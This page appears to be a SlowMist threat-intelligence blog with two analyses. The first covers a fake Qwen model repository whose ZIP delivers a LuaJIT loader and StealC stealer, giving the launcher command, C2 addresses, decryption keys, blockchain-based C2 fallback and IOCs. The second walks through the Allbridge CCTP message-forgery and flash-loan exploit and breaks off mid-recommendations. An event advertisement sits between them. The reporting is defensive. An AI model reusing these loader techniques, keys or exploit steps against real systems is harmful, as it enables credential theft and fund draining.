慢雾 SlowMist

背景
下载一个开源大模型，你担心的通常是它能否正常运行、权重是否真实。这一次，真正该担心的藏在别处：一个标着 27B 参数的仓库，交到你手里的却只有 487 KB——里面装的不是权重，而是窃密木马。
2026 年 8 月 20 日，GitHub 仓库 unburdened-jackinthebox365/qwen38-uncensored 向 assets/ 目录提交了一个名为 uncensored_qwen_v2.6.zip 的文件，共 487,153 字节。仓库把它包装得几乎无懈可击：首页宣称提供 Qwen 3.8 27B 的本地量化权重，README 强调完全离线运行、无遥测、数据不离开本机，每一句都正中本地模型用户的下怀。四天后，即 8 月 24 日，README 再次改动——下载按钮、正文里的下载链接，连同原本指向 Ollama 与 LM Studio 官网的两个外部链接，全部改指向同一个 ZIP 的 raw 地址。
至此，破绽已经明显。一个 27B 参数的 Q4_K_M 量化模型，落盘通常超过 16 GB，仓库自带的 bin/install.cjs 打印的提示也写着约 16.8 GB。实际交到手里的资产却只有 487 KB，解压后只有三个文件——Application.cmd、util.exe 和 cert.txt，没有任何 GGUF 权重。
我们据此判断，这是一个借 Qwen 名义分发文件的仿冒仓库，Qwen 官方项目并未被入侵。仓库里的 Node.js 安装脚本表面上实现了「写 Modelfile → 调用 ollama create」的流程，本次未做动态验证；仓库主要代码维持正常项目外观，恶意 ZIP 则作为 assets/ 中的下载资产提交。只检查常规源码而不解包下载资产，可能遗漏这条入口。
本文以静态证据为主，未运行任何样本。C2 请求用模拟主机数据复现，只读取响应并下载载荷，未执行下载内容，也未访问最终上传端点；文中对行为的描述，指代码里存在相应实现或调用路径，不代表这些操作已在真实主机上发生。
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
本次事件中，MistEye 对诱饵仓库、下载资产及后续载荷完成静态分析，使用模拟主机信息复现 C2 请求并保存响应与下载证据，还原出多阶段投放链并提取网络与文件 IOC。8 月 26 日复检了 C2 存活与分发设施轮换情况，另对分布在 23 个仓库中的 29 份同类 ZIP 做了离线行为对比。相关 IOC 已接入 MistEye 威胁检测引擎。
以下为详细技术分析。
487 KB 下载包里的三个文件
Application.cmd 的全部内容是一条命令：
start util.exe cert.txt
算上换行符一共 25 字节。它没有解压模型，也没有调用 Ollama，只是让同目录下的 util.exe 去读取一个文本文件，控制权由此转交给 cert.txt 里的 Lua 脚本。压缩包内没有其他文件，这三个就是全部内容。
util.exe 有 759,808 字节，是改名后的 LuaJIT 2.1 解释器。LuaJIT 本身是被大量正规软件使用的 Lua 运行时。PE 里残留的 PDB 路径写着 D:\a\defold\...\luajit.pdb，指向 Defold 游戏引擎的打包产物。静态分析未在 util.exe 中发现不依赖脚本的恶意行为，该文件只负责执行同目录的混淆 Lua。
cert.txt 名字像证书，内容是 182,116 字节的单行 Lua。整份脚本没有一个换行，字符串全部拆成十进制转义和查表调用，直接阅读只能看到一片数字和短变量名。下面是文件开头的一小段，为方便阅读按语句折行，末尾以省略号截断：
前两个函数负责按索引取字符和重排顺序，第三行开始是被打散的字符串表。脚本里的几百个明文字符串都以这种形式存放，运行时才拼回原样。
风险入口因此不在所谓的模型程序上。压缩包提供的是一个通用解释器加一份文本，恶意逻辑全部落在 cert.txt 里。
C2 响应补全了后续投放链
离线解混淆之后，cert.txt 的结构清楚了。它维护一张几百项的字符串表，明文全部拆成数字转义，运行时再逐字节还原。脚本通过 LuaJIT FFI 解析并调用 VirtualAlloc、CreateThread 等 Windows API。
加载器自带编号 845。启动后它收集主机名、用户名、GUID 和系统版本，用 BitBlt 抓一张屏幕存成 BMP，再向 IP 定位接口请求一次地理位置，把这些内容拼成 multipart 请求 POST 给硬编码的 217[.]119[.]129[.]122。下面是我们照脚本重建后实际发出的请求：
路径里 /api/ 后面那串解码为客户端编号 517b7c5e5663656a057f。截屏放在 file 分部，以 BM 开头的正是 BMP 文件头；主机信息放在 data 分部，两者在同一个请求中。data 解码后是 computer=SIMULATED-PC&user=simulated-user&query=203.0.113.10 这样的模拟值，不对应任何真实主机。
服务端下发的任务按扩展名分头处理，覆盖内存中直接执行的载荷、独立程序、DLL 和脚本四类。一个加载器就能处理几乎所有常见载荷格式。脚本里还写了 Defender 排除、计划任务持久化和任务完成回传，这三项都位于条件分支，由服务端的 loader 配置和本地条件决定是否触发。本次取到的配置只开启了持久化，其余关闭。它们属于条件触发的功能，不代表真实主机上已经完成对应操作。
硬编码地址失效时，加载器还有一条备用路径。它会向 Polygon 链发起一次 eth_call，读取合约 0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc 上 selector 0x3bc5de30 的返回值，从中解析备用 C2，本次实测解出 194[.]48[.]248[.]94：
长度前缀 0x14 是 20，正好等于解出地址的字符数，两处互相印证。这段 hex 不必依赖我们的解码脚本，查一次 ASCII 表就能自行复核。脚本中配置的五个 RPC 端点里，三个返回了上面这段数据且逐字节一致，一个要求付费订阅，一个直接拒绝。把地址写进公链合约之后，更换服务器只需要发一笔交易；单独封禁当前备用 IP，不能阻止合约后续返回新的地址。
对照脚本修正请求格式后，845 的模拟 beacon 收到了 HTTP 200，1248 字节 JSON。
响应字段经过三层编码，解码方向为 Base64 → 小写 hex → 32 字节循环 XOR，XOR 密钥 ECe6VGLRJum2qYtl79OiOU7aHot7Zhbn 就写在脚本里。下面两段是同一份响应解码前与解码后的内容，各截前 56 个字符：
解出来是一份 loader 策略和一条任务：
pump 字段控制是否使用随机数据将落地文件扩展到服务端指定大小，当前任务中该开关关闭。
任务把一个叫 `tool.log` 的文件下载到 `%TEMP%\dist.lua` 并执行。这个文件 396,616 字节，通篇 ASCII 十六进制；hex 解码再 XOR，得到 198,308 字节的混淆 Lua。这是第二个加载器，编号 847，初始 C2 换成 `217[.]119[.]129[.]97`，混淆布局与 845 同构。用同样的模拟主机数据执行 847 加载器后，它向 `217[.]119[.]129[.]97` 发起 beacon，服务端返回了两条任务。
两条任务中，一条仍是 `tool.log`，另一条指向同一仓库的 `verb.log`，落地路径写成 `AppData\..\Local\Programs\Chromium\Application\Chromium.exe`。中间那个 `..` 把路径穿越到 LocalAppData，最终文件名伪装成 Chromium 浏览器主程序。
tool.log、verb.log 以及后续两个 PE 都来自 C2 响应与下载落盘，原始 ZIP 里并没有这些文件。ZIP 本身能证明的是加载器具备下载执行能力；保存的 C2 响应则显示，服务端在采集时刻向 loaderId 845 下发了后续下载任务。
verb.log 解出的 StealC 载荷
解包与加载
verb.log 3,089,408 字节，同样是 ASCII hex，变换链是 hex/XOR → 外层 PE → Base64URL/AES → 内层 PE。用同一把 XOR 密钥解开得到 1,544,704 字节的 64 位外层 PE，其资源段里的 Base64URL 文本解码为 797,728 字节的 AES-256-ECB 密文。密钥 bFYh8UMQGZOBUlvrpS3M4ZJybbubVbvg 由外层 PE 对两段常量数组推导得到、可静态还原，解密得到同样 797,728 字节的第二个 64 位 PE。
外层 PE 在自己的进程里手工映射内层 PE：分配内存、复制头和节区、修正重定位与导入表、创建线程并以入口点启动。静态调用链里没有 CreateProcess、WriteProcessMemory、SetThreadContext、ResumeThread 这类跨进程注入 API——整个过程是进程内反射式加载。
环境检查
内层载荷先检查环境：系统默认语言命中俄语、乌克兰语、白俄罗斯语、哈萨克语、乌兹别克语之一即退出；随后用主机信息拼出的命名 Event 做单实例控制，再校验内嵌的到期日期，全部通过后才进入主体逻辑。
采集目标
浏览器：Chrome、Edge、Brave 获取登录数据、Cookie、历史记录和相关数据库；Firefox 调用 NSS 接口解密保存的登录信息。数据库被锁时用 Restart Manager 结束占用进程。邮件与运维：Foxmail 与 Outlook 账户凭据、WinSCP 会话信息，其中 WinSCP 会话直接对应受害者能访问的服务器。Steam：登录配置、令牌和哨兵文件。
从 Chrome 127 开始，Cookie 和保存的密码由 App-Bound Encryption 保护，密钥托管在系统级服务里，只复制数据库文件拿不到明文。载荷为此内置一个辅助 PE，用 Early-bird APC 注入送进挂起的 chrome.exe、brave.exe 或 msedge.exe；辅助模块在浏览器进程内读取加密的 App-Bound Key，通过各浏览器对应的 COM Elevation 服务接口导出 32 字节明文密钥，让前面收集的数据库文件重新可读。
钱包采集完全由服务端驱动：递归采集器对 C2 下发的文件任务按类型分派，其中 wallets 分支按任务名和文件名查本地目录；C2 还能下发扩展 ID，采集对应 Chromium 扩展的存储与 IndexedDB。样本明文里没有钱包品牌名和安装路径，也没有 BIP39、secp256k1 这类助记词或私钥解析实现——采集哪个钱包由服务端下发任务时决定，静态样本列不出本轮目标清单。
上传与归因
载荷另含截屏、收集系统信息与进程列表、用 PowerShell 做二次下载执行、提权，以及退出时自删除等功能。
数据上传通过 512 KiB 分片的 JSON POST。上传端点在文件里以 RC4 加密后再 Base64 保存，用配置密钥 55uUe45tr1x1xy1lSK 解出来是 http[:]//89[.]169[.]12[.]194，请求体另用一把 RC4 密钥加密。
StealC 是一种专门窃取浏览器凭据、Cookie、加密钱包和其他敏感数据，并将其发送至攻击者 C2 的 Windows 信息窃取木马。内层载荷的收集范围、App-Bound 解密辅助、钱包分支和 RC4 加密上传等实现，都与 StealC 的已知特征一致，我们据此把它归为 StealC。
若这些材料被成功获取，造成的后果各不相同：浏览器 Cookie 对应已登录会话被接管，邮箱与 Steam 凭据对应账号损失，WinSCP 会话对应受害者运维的服务器；钱包私钥或助记词一旦外泄，资产转移无法回滚。
复检确认分发设施正在轮换
8 月 26 日，我们用同样的模拟主机数据把三段 beacon 重发一遍。三个端点均返回 HTTP 200，loader 策略字段一字未变。变化出现在任务里的下载地址。
vs.log 和旧的 tool.log 逐字节相同，只是改了名字，847 加载器没有变化。ssl.log 解码后是新版本的外层 PE，1,539,072 字节，入口地址和映像大小都变了，AES 密钥随之轮换成 yK8-eM8KFA8Hl8cCybERmOLZupFvfCNZ。
用新密钥解出的内层载荷仍是 797,728 字节。和旧版逐字节比对，整个文件只有一处差异，位于只读数据段，上报给服务端的构建号从 build5 改成 build1。上传端点、RC4 配置密钥和请求体密钥全部一致。
换仓库、换文件名、更新外层 PE、换 AES 密钥，这些动作使旧文件的精确哈希失效。稳定结构和行为特征是否仍可命中，需要由具体规则验证。窃密载荷本体在这两天里保持稳定，只改了一个版本标签；这是两个采集日之间的观察，不足以判断更长时间里是否保持不变。
更多恶意 GitHub 仓库
我们另外收集了分布在 23 个 GitHub 仓库中的 29 份恶意 ZIP 样本。初步检查显示，这些样本均使用 Lua 作为执行链的一部分，常见形式包括由 .cmd 或 .bat 启动器调用本地 LuaJIT 或改名后的解释器，并进一步执行同目录中的 Lua 脚本。相关仓库的诱饵主题覆盖 AI 模型与工具、MCP 服务、开发脚本和钱包项目等多个类别。
需要说明的是，目前并未对这 29 份样本逐一进行完整的代码还原和攻击链分析，因此现有证据只能确认它们均具有恶意行为并共同使用 Lua 技术栈，不能据此认定所有样本采用完全一致的混淆方式、执行流程、C2 基础设施或最终载荷。
总结
一个仿冒 Qwen 的 GitHub 仓库把下载入口指向 487 KB 的 ZIP，包内没有模型权重，只有一个 LuaJIT 解释器和一份混淆脚本。保存的 C2 响应关联到内层窃密载荷，我们把它归为 StealC。
风险涉及浏览器会话、邮件与运维凭据、Steam 令牌和钱包相关材料，前提是对应材料被成功获取。两次采集之间，分发仓库、文件名、外层 PE 和 AES 密钥已经变化，内层载荷则只有构建号中的一个字符不同；分布在 23 个仓库中的 29 份同类 ZIP 显示这套投放骨架已被批量复用，每个变体的完整后续链仍需逐样本确认。
建议
1.隔离并取证：主机命中本文列出的 ZIP、脚本哈希、C2 或下载 URL 时，先保存下载来源、进程树、网络连接日志和落地文件，再做清理。
2.检查主机改动：若发现启动器执行记录，或 LuaJIT、改名解释器加载大体积混淆文本的记录，应检查计划任务、Run 键、StartupApproved 项，并确认 Defender 排除列表里是否被加入了系统盘或 .exe、.dll 扩展名。
3.处置凭据：确认样本执行或发现相关落地载荷时，重置浏览器会话与保存的密码、邮箱账号、Steam 令牌和 WinSCP 会话凭据；主机上存过钱包私钥或助记词的，先把资产迁移到新地址，再处理主机本身。
4.增加组合检测：把「小型启动器 → 本地 LuaJIT 或改名的解释器 → 同目录大体积单行文本 → 发起 HTTP 请求或写入可执行内存」这一序列加入监控规则。这条链路借用的都是合法服务，判断应基于行为组合，并结合本文列出的精确恶意 URL，不对 GitHub Raw 或公共 Polygon RPC 做无差别封禁。
IOC
IP
217[.]119[.]129[.]122
194[.]48[.]248[.]94
217[.]119[.]129[.]97
89[.]169[.]12[.]194
URL
http[:]//217[.]119[.]129[.]122/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=
http[:]//217[.]119[.]129[.]97/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=
https[:]//raw[.]githubusercontent[.]com/unburdened-jackinthebox365/qwen38-uncensored/main/assets/uncensored_qwen_v2[.]6[.]zip

https[:]//github[.]com/Minaadelfouad64/tools/raw/refs/heads/main/verbose/tool[.]log

https[:]//github[.]com/Minaadelfouad64/tools/raw/refs/heads/main/verbose/verb[.]log
https[:]//github[.]com/fuhuhlatoogan/mtp/raw/refs/heads/main/p/vs[.]log
https[:]//github[.]com/fuhuhlatoogan/mtp/raw/refs/heads/main/p/ssl[.]log

恶意依赖

https[:]//github[.]com/unburdened-jackinthebox365/qwen38-uncensored

https[:]//github[.]com/Minaadelfouad64/tools

https[:]//github[.]com/fuhuhlatoogan/mtp

https[:]//github[.]com/0ogata0/qwen-php-client

https[:]//github[.]com/115th-discomfited211/Awesome-Harness-Engineering

https[:]//github[.]com/123affano1/claudetrack

https[:]//github[.]com/1sustgmboab/nexonco-mcp

https[:]//github[.]com/2josEx/claude-brain

https[:]//github[.]com/428alexander9/claude-skills-marketplace

https[:]//github[.]com/45d5r/databricks-mcp-server

https[:]//github[.]com/7ossamfarid/mcp-mindmesh

https[:]//github[.]com/Bean5789/bbd2api

https[:]//github[.]com/CleverPortal/CollabNote-Fullstack-App

https[:]//github[.]com/Juanvil9941/AI-Invoice-System

https[:]//github[.]com/Kalainilavann/takeout_downloader_script

https[:]//github[.]com/Prestonflatfooted659/Void-Tools-v2.0

https[:]//github[.]com/Walloperlioncub193/Canva-Resource

https[:]//github[.]com/archontelemetered604/clash-for-windows

https[:]//github[.]com/fantastic-interpolation620/ctx-wire

https[:]//github[.]com/mikenob39wang/phone-number-location-tracking-tool

https[:]//github[.]com/recognisable-riddance165/Portable-Offline-LLM

https[:]//github[.]com/sociologisttentcaterpillarmoth213/100xdev-ci-cd

https[:]//github[.]com/soldat-panther/qq-farm-cdp-auto

https[:]//github[.]com/thaddeusprobabilistic193/Xault-Wallet

https[:]//github[.]com/twelfth-puerperium297/tokenoptim

https[:]//github[.]com/wasila7220/multi-model-router

恶意文件

filename: uncensored_qwen_v2.6.zip
MD5: bf21a07ad5743d3ae9f55ff526428a0a
SHA1: 8e3391c17c3f4fb6f42594de7425df96dbbbc01e
SHA256: 36d0bac5743ed9c6858258f28f2c2f9161dc06c4d5af73eb7eda1211ea610758

filename: Application.cmd
MD5: 17d94f34b9d15449b03bc099a637782b
SHA1: eb474f898256e8e7baaf0d63b306d1169e637c73
SHA256: 7c4f3e09c6428d0a0d7d85615695f5fedb35bb4e7180d31e1f8a1bacf22e5639

filename: cert.txt
MD5: ccfc0f145861f23c6850c691c4be54b9
SHA1: b88ac887493f31cf9f160ddbc6bc3a2aa298a0ca
SHA256: a75561a3224d9f836058a6d0204ed2e6c1f638275a59495935cd2a5e46fd28ca

filename: tool.log,vs.log
MD5: 8063ba8ec896b52e5e6d435cc60e82f7
SHA1: f445bd4c5b65b7e013ec518f34f4cd64676201d2
SHA256: 7ebbb61733d8aefcf9401f00e8ff7e593c9f0edecb6609675aebd3eb78a5ae2d

filename: verb.log
MD5: 650a8ee5d091275040ae4dd02dcdd806
SHA1: 343d819ceb63c742912723c42fd158b82d0a90be
SHA256: 699af883d862d8949a494f69e2d300142ce506a0ac6c7a239193c111dfed241e

filename: inner-payload.aes256-ecb-decrypted.bin
MD5: 01e433263a7fd50e812195ff4c11cc90
SHA1: ea53a41c53181374cade8d69882bb1390f0c2562
SHA256: ec981c45d494896037583c746543490176c9ce9a1482e62c4e8ab189c2650b1c

filename: ssl.log
MD5: 9d11bce9c213924b53bcb986f07945c6
SHA1: 2abf1436933dc6b63a016661d5d16f1eda303b59
SHA256: 7b0d919bd510cbcc587cca4b74aad1e086fb1fc34882a39946e6db7d4361a746

filename: inner-payload.build1.bin
MD5: 370f95bf40a9c9fe852b2e4bdd95689f
SHA1: 219a0e7c3907bb65ef7db7428400745570d4e105
SHA256: 5d63f3dc9371d4496ca0e728a794151978e94b69ae4b3c705cea4e67cc6cf208

filename: client_qwen_php_v2.4.zip
SHA256: 073c6192ab4c2d5d25fc13acab4c216c96f9d5926064c534e3803bb31d527b28
filename: Engineering_Harness_Awesome_1.9.zip
SHA256: 0870fe8a4d9e64e335047e16ed1d6b0805beab9686495a1e8c247cf2e1a8e930

filename: Software_v1.6.zip
SHA256: 71b37b48f80106fc864be7e82481cd1a2f7decfeaf1dce45abb924d7f32da933

filename: nexonco-mcp-v3.0-alpha.1.zip
SHA256: a866d90d6f1dd82ddcd2cbef4f5550c77bb58dbda87c02eedb441a117b7d89b9

filename: claude-brain-v1.4-alpha.3.zip
SHA256: a271231ebf6174b11aeb3337c238abc0eac44b48b5fa8d2b168883601d8cc3a5

filename: brain_claude_2.2-alpha.1.zip
SHA256: ca4babb4444af81cf93b34436de7a4a3c8e1a93f6233bcc8753ddd868b4c9eaa

filename: claude-skills-marketplace_v3.4.zip
SHA256: 438033226b1bd1e26db8ab71a777e74cc90b5c31310139269fe8e52308f6c938

filename: skills-marketplace-claude-2.9.zip
SHA256: f07a4eadd43513f56ae4fdf6f6dfc966de17f06093c75c1dec0dd426668779f9

filename: server_databricks_mcp_1.6.zip
SHA256: 66afc7d87d10dbe392898c4e5c613e0442fabb396415c2bef3a5ef2ac752c5ad

filename: mindmesh_mcp_1.0-alpha.5.zip
SHA256: e8da8c82ccb1c6fd68e7c03187485d6ebbd07a4946a7f07cac54fef65b00d2bf

filename: bbd-api-3.1.zip
SHA256: 3524dc4a232c76067f8b2df9adf34ae1106dcc1528e5467c1abc285fc51d1e82

filename: Note-Collab-App-Fullstack-v3.6-alpha.5.zip
SHA256: 6f823d15658b07d6d90f292848fcdd30fe840f83d653cc34966e2fd61d9c3117

filename: Invoice_A_System_3.9.zip
SHA256: 8332d91619563e46e248f427cf489f8bd61a83124eb4c95749ce284b443a2803

filename: downloader-script-takeout-v1.1.zip
SHA256: 8412f2d2b47181f272b0c0e02fe619331e0c2c8d3b90f32e8ce08ac98aaec3f6

filename: downloader_takeout_script_v3.8.zip
SHA256: b781102c6ff857fb45089a6b3d30c5ebb7699ec7e8771bfa0039bef28de782bd

filename: takeout-downloader-script-galvanocauterization.zip
SHA256: 13dc7623c66d1fed51ae94b0d96e8ed45c93d893afabf9aceb4ef0a8da0243ee

filename: Void-v-Tools-v1.7.zip
SHA256: 841d0c25137f35b60d940705ab7b5dc3e9936f37e0561934e72c5dafe93466d8

filename: Resource-Canva-2.2.zip
SHA256: ac6a24d02209df94f56f67e7f3f19dc997f7a2625b91add1dd10cdec0a06d392

filename: for-clash-windows-3.2.zip
SHA256: 036062622f3a1fa2718afc91f8fe4edc693b757365dfc2c0958b70fe8c84c20d

filename: wire-ctx-2.6-alpha.1.zip
SHA256: db0640eb414a89bb62953f0aa7603557f3b8de515e7c3696156abc10f835ecef

filename: location-tracking-tool-phone-number-v3.3.zip
SHA256: 3fc5816afde3e58bf9fcaa1b3873f2d4bc8629ee7a8341a4a4979d2729cad5e6

filename: location_number_tracking_tool_phone_v2.5.zip
SHA256: 398ea394f9a4242ebe9fd67a5ca62445fc4a34b1731d4f99b8eea5e65a98ddcb

filename: tracking-tool-location-number-phone-3.2.zip
SHA256: b6e81d95c0c336e8b8bde3889f4df4ee17639f6ff055c631de19cab3c7efb63b

filename: Offline_LLM_Portable_v2.1-alpha.1.zip
SHA256: 1313b6cfb1ea43367fdd845f64526b4972a3a345bb8b13cef7ebb678d59b5f55

filename: ci_cd_xdev_v2.3-alpha.3.zip
SHA256: ed1ae6799ecb1fc7c5239c4ab95b3b9de9462f21219f144a25b91b6fd430a2c2

filename: farm-cdp-qq-auto-1.1.zip
SHA256: 6145aeacba6533e10dcea287d0fff64c48a790c58ae266ed18ea5d13c36d27ca

filename: v3.9.zip
SHA256: a0dd4924bec9bc077b1f98ddcb45b4e07b01e63ad703c2507d822b5b5130a077

filename: Software-Lithodes.zip
SHA256: 40c2b7b8dcfa6bfe0a199af9ea4baa00a4b8ecd73afa326702cdc4197d64bdef

filename: model-multi-router-v3.5-beta.1.zip
SHA256: 152929ae778e6ed9f358ca8590d2155e1a04137b109a5442891e1ba3fe1a7f82
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。

📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan
轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills
AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
🛠️ MistEye-DNS-Guard：https://github.com/slowmist/MistEye-DNS-Guard
DNS 安全防护工具，检测恶意域名与风险访问，识别钓鱼、C2 等网络威胁
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI 驱动分析编写，有任何问题欢迎咨询反馈。
参考
[1]https://x.com/OpcodeIntel/status/2091578565628502324
[2]https://www.microsoft.com/en-us/security/blog/2026/06/24/stealc-and-amadey-breaking-down-infostealers-and-the-cybercrime-services-that-deliver-them/
[3]https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

8 月 28 日，慢雾(SlowMist) 携手 ME Group 将在香港举办「穿越迷雾，走向可信支付｜全球稳定币合规与智能体支付新前沿」行业交流活动。
本次活动将汇聚来自稳定币、支付、AI Agent、合规及区块链安全等领域的行业嘉宾，围绕全球稳定币合规、智能体支付发展及可信支付体系建设展开交流，共同探索支付模式演进过程中的技术、安全与合规挑战。
时间：8 月 28 日 09:30 – 12:30
地点：香港 CAI Building
报名链接：https://luma.com/0c4fawzv
精彩议程
活动将设置圆桌讨论、主题分享及开放麦等环节，围绕「稳定币走向真实世界 —— 全球合规与应用新机遇」「支付的下一站 —— AI、稳定币与全球资金流动」两大圆桌主题，以及「SlowMist KYT 代理商计划：携手共建全球领先的加密资产合规生态」主题分享展开交流，邀请行业嘉宾分享实践经验与前沿观察。具体议程如下：
迈向可信支付的未来
稳定币正逐步进入更多真实支付与商业场景，AI Agent 也正在成为数字经济中的新型交易参与者。随着“人付款”逐步走向“Agent 付款”，支付体系将迎来新的演进，而安全、合规与信任也将成为这一进程中的重要基础。
8 月 28 日，慢雾(SlowMist) 将在香港 CAI Building 与行业伙伴现场交流，从稳定币合规到智能体支付，共同探索可信支付的新前沿。期待与大家现场见面！

作者：九九
编辑：77
背景
2026 年 8 月 19 日，知名跨链桥项目 Allbridge 遭到攻击，损失约 19 万美元。然而本次攻击却横跨接近一个月才完成，以下是慢雾安全团队针对此次攻击事件的具体分析：
前置知识
为了理解这次攻击，我们需要先理解 Circle 的 CCTP 协议和其跨链消息传递系统。
CCTP 是 Circle 的跨链转账协议。它的基本做法是，在源链销毁 USDC，在目标链重新铸造同等数量的 USDC。这样可以避免桥接合约凭空增加余额。
正常的 CCTP 转账通常按下面的步骤进行:
源链 TokenMessenger 销毁 USDC
-> Circle MessageTransmitter 认证并转发消息
-> 目标链 Circle TokenMessenger 接收消息
-> TokenMessenger 进行验证后铸造 USDC
-> 等 Router 看到真实到账后再把 USDC 转给用户
Circle 的 MessageTransmitterV2 是负责传递消息的合约。它会对完整消息出具 attestation，也就是 Circle 对指定的跨链消息进行签名证明。但是这个证明只能说明消息内容经过 Circle 认证，不能单独说明消息里写的金额已经真实发生转移。
目标链的 Circle TokenMessengerV2 负责铸币。MessageTransmitterV2 收到消息后，会根据消息头里的 recipient 找到要回调的合约。正常的 CCTP 消息会把这个地址设为目标链的 TokenMessengerV2 合约。它接着检查源端 TokenMessenger、代币、金额和接收地址，检查通过后才铸造 USDC。
Allbridge 的 CCTP 模块则处在这条流程的后面。它要把已经完成的入金整理成 Router 能识别的记录，Router 再把代币转给用户。到这里有个需要特别注意的地方：attestation 有效，不代表在源链实际发生过代币燃烧，不代表目标链已经执行了代币铸造，也不能代表 Router 已经真的收到对应 USDC。至此我们可以知道，Circle 的 sendMessage 是通用接口。任何人都可以调用它，填写一段跨链消息内容，让 Circle 对这段内容进行认证。调用这个接口本身不会自动销毁 USDC，也不会自动铸造 USDC。正常的 CCTP 转账还需要源链的 TokenMessenger 参与。它会先销毁 USDC，再生成带有燃烧代币信息的消息。而在本次攻击中，攻击者只构造了跨链消息，绕过了销毁 USDC 这一步。
根本原因
在 Allbridge 的 CCTPTokenMessenger 合约中，接收跨链消息的 receiveCctpMessage 函数缺少对 CCTP 消息头中 sender 字段是否与远端 TokenMessenger 相等的检查，recipient 字段也没有检查是否等于 Circle 的 TokenMessengerV2 合约，导致 MessageTransmitterV2.receiveMessage 会把转发的跨链消息交给攻击合约来判断代币是否铸造成功，由于在本合约中没有再检查 Router 的 USDC 余额在记账前是否是真实增加的，合约直接信任了攻击者构造的消息中的金额，最终将其记账成可付款余额（跨链消息的 hookData 中 messageHash 对应的 receivedTokenAmount 数值）。
此次在 hookData 中也没有提供任何检查保护。Router 在执行付款时会根据调用参数重新计算 messageHash，然后再查询这个 hash 先前所记录的内部入金余额。而攻击者可以在 Polygon 发消息之前，离线算好同一组参数对应的 hash，再把 messageHash 放进直接放入跨链消息的 hookData 中。这样一来，匹配的是攻击者自己创建好的内部记录，和真实资产结算无关。
因此攻击者可以在 Polygon 上直接调用MessageTransmitterV2.sendMessage 构造任意跨链消息，并等 Circle 对其签名后，使得 Base 链的 attestation 验证成功，该伪造消息被当作真实跨链收款，最终触发 Router 转出代币。
攻击步骤分析
1. 2026 年 7 月 26 时，攻击者先提前在 Polygon 上直接调用 Circle MessageTransmitterV2 合约的 sendMessage 函数。这是一笔通用跨链消息发送操作，交易产生了 MessageSent 事件，但实际没有发生 USDC 销毁操作。Circle 随后会对完整消息签发 attestation，这一步是按协议预期设计正常执行。
消息被填成了 CCTP 风格的数据。源域是 Polygon，目标域是 Base，声明金额为 1,000,000 USDC，feeExecuted 为零，destinationCaller 指向 Allbridge 的 CCTPTokenMessenger 合约。攻击者把消息头 recipient 设置为自己的合约，把消息正文中的 sourceSender 设置成配置里的远程 Messenger 地址，还把提前算好的 Router messageHash 放进 hookData，方便后续验证使用。
2. 这条恶意跨链消息创建后攻击者等待了约 24 天。因为 Base Router 是一个转发路由，平时不会长期持有大额流动性。直到 2026 年 8 月 19 日 这天，Allbridge relayer 刚把一笔由其他用户真实 CCTP 入金的 USDC 铸造到 Router，金额约为 191,112 USDC，Router 余额达到约 191,156 USDC。
这笔余额属于等待转给真实用户的跨链资金，攻击者等到了这极短的等待时机，真实入金发生后六秒，开始执行正式攻击交易。
3. 攻击合约会先调用 CCTPTokenMessenger 合约的 receiveCctpMessage 函数，传入 Polygon 交易中取得的消息和签名数据 attestation，其中 destinationCaller 检查和 sourceSender 检查均被通过（均由攻击者控制构造）。随后调用 Circle MessageTransmitterV2 合约的 receiveMessage 函数，在该函数中根据消息头的 recipient 回调攻击合约。攻击合约直接返回成功，并没有执行预期 Circle TokenMessenger 合约的铸造代币操作。而 Allbridge 也没有再次确认 Router 余额，也没有检查被回调的目标合约是否等于 Circle TokenMessengerV2，直接就把 amount - feeExecuted 写入 receivedMessages[messageHash]，生成了一笔 1,000,000 USDC 的内部 credit。
4. 由于攻击者先前创建的跨链消息中构造的目标金额是 1,000,000 USDC，而 Router 当时大约只有 191,156 USDC，所以攻击者先通过 Aave 闪电贷为 Router 提供 808,844 USDC，让余额暂时达到攻击者在假消息中声明的金额，满足后续的代币转出操作。
5. 攻击者随后调用 Router 的 receiveToken 函数处理收款结算。Router 根据调用参数先再计算一次 hash，得到的值与 hookData 里攻击者先前早已计算构造好的 messageHash 值相同。接着只检查 CCTPTokenMessenger 合约中的该 messageHash 对应的 receivedTokenAmount 记录是否大于零，就视为已经收到真实入金代币。由于 Router 需要收 0.1% 的手续费，所以在扣除手续费后将剩余的 999,000 USDC 直接转给攻击合约。
整个过程中 Router 只检查 CCTPTokenMessenger 合约中的 credit 是否存在，而并不会再次确认这笔 credit 是否对应链上同等规模的资产真实到账。
6. 攻击者窃取到 999,000 USDC 后，向 Aave 归还 808,844 USDC 本金和约 404.422012 USDC 闪电贷手续费。最终留下约 189,751.554381 USDC，完成攻击获利。这笔交易把 Router 的 191,156 USDC 基本清空。损失的主要部分来自刚刚到达、尚未转给用户的真实跨链入金。
有趣的是，Router 在上面所收取的 1,000 USDC 费用，这笔钱后来被其他攻击者复刻相同的攻击手法给取走。
总结
这次攻击事件的核心问题是 Allbridge 缺少对跨链消息合理性的检查。Circle 的 attestation 只能证明消息内容没有被篡改，并不能证明跨链消息真实触发过代币的燃烧或铸造操作。Allbridge 直接信任 CCTPTokenMessenger 消息中攻击者自行构造的金额、资金来源地址、和 messageHash，并记录成了可兑现的余额，把它当作真实的入金数量。
慢雾安全团队建议项目方修复时需要同时守住三条边界：
1. 消息头中的 sender 参数必须对应受信任的源端组件合约；
2. 消息头中的 recipient 参数必须限制为目标链的 Circle TokenMessengerV2 合约；
